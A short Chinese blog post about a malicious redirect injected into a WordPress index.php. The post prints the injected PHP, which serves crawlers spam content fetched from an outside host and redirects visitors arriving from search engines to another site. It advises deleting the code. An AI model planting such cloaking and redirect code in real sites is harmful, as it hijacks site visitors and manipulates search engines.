关于来自搜索引擎及快照网站恶意跳转

<?php
set_time_limit(0);
if(stripos($_SERVER[“HTTP_USER_AGENT”],”baiduspider”) == true || stripos($_SERVER[“HTTP_USER_AGENT”],”Googlebot”) == true || stripos($_SERVER[“HTTP_USER_AGENT”],”360Spider”) == true || stripos($_SERVER[“HTTP_USER_AGENT”],”Sosospider”) == true || stripos($_SERVER[“HTTP_USER_AGENT”],”HaoSouSpider”) == true || stripos($_SERVER[“HTTP_USER_AGENT”],”sogou spider”) == true){
header(“Content-type: text/html; charset=gb2312”);
$file = file_get_contents(“http://wwwwroot.com/index.php?sd”);
echo $file;exit;
}
if(stristr(@$_SERVER[“HTTP_REFERER”],”baidu.com”)||stristr(@$_SERVER[“HTTP_REFERER”],”google”)||stristr(@$_SERVER[“HTTP_REFERER”],”so.com”)||stristr(@$_SERVER[“HTTP_REFERER”],”Soso”) || stristr(@$_SERVER[“HTTP_REFERER”],”HaoSou”)||stristr(@$_SERVER[“HTTP_REFERER”],”sogou”)){
header(“Location:https://www.s36wan.com”);exit;
}
?><?php
/**
* Front to the WordPress application. This file doesn’t do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( ‘WP_USE_THEMES’, true );

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . ‘/wp-blog-header.php’ );

经过分析,由于跳转是针对搜索引擎,直接删除即可!

}
if(stristr(@$_SERVER[“HTTP_REFERER”],”baidu.com”)||stristr(@$_SERVER[“HTTP_REFERER”],”google”)||stristr(@$_SERVER[“HTTP_REFERER”],”so.com”)||stristr(@$_SERVER[“HTTP_REFERER”],”Soso”) || stristr(@$_SERVER[“HTTP_REFERER”],”HaoSou”)||stristr(@$_SERVER[“HTTP_REFERER”],”sogou”)){
header(“Location:https://www.s36wan.com”);exit;
}

本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。邮箱:1103606138#qq.com

站点地图